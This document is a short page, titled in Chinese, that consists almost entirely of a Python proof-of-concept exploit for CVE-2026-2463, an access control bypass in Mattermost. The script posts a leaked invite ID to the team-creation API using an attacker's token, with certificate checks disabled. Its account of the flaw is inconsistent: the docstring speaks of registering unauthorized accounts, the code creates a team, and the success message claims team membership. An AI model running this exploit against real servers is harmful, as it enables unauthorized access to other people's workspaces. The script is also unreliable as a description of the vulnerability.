CVE-2026-2463 Mattermost邀请ID访问控制绕过漏洞

# CVE-2026-2463 Mattermost Invite ID Access Control Bypass PoC # This PoC demonstrates the access control bypass in Mattermost team creation import requests import json TARGET_URL = "https://your-mattermost-server.com" ATTACKER_TOKEN = "your-authentication-token" LEAKED_INVITE_ID = "leaked-invite-id-from-target-team" def exploit_mattermost_cve_2026_2463(): """ Exploit for CVE-2026-2463: Mattermost invite ID access control bypass Allows regular users to register unauthorized accounts via leaked invite IDs """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Step 1: Obtain or leak an invite ID from a team the user is not a member of # This can be done through various information disclosure methods invite_id = LEAKED_INVITE_ID # Step 2: Attempt to create a team with the leaked invite ID # The vulnerable endpoint does not properly validate permissions payload = { "invite_id": invite_id, "team_name": "unauthorized-team", "display_name": "Unauthorized Team", "type": "I" } endpoint = f"{TARGET_URL}/api/v4/teams" try: response = requests.post(endpoint, headers=headers, json=payload, verify=False) if response.status_code == 201: print("[+] SUCCESS: Unauthorized team membership created!") print(f"[+] Response: {response.json()}") return True else: print(f"[-] Failed: Status {response.status_code}") print(f"[-] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": exploit_mattermost_cve_2026_2463()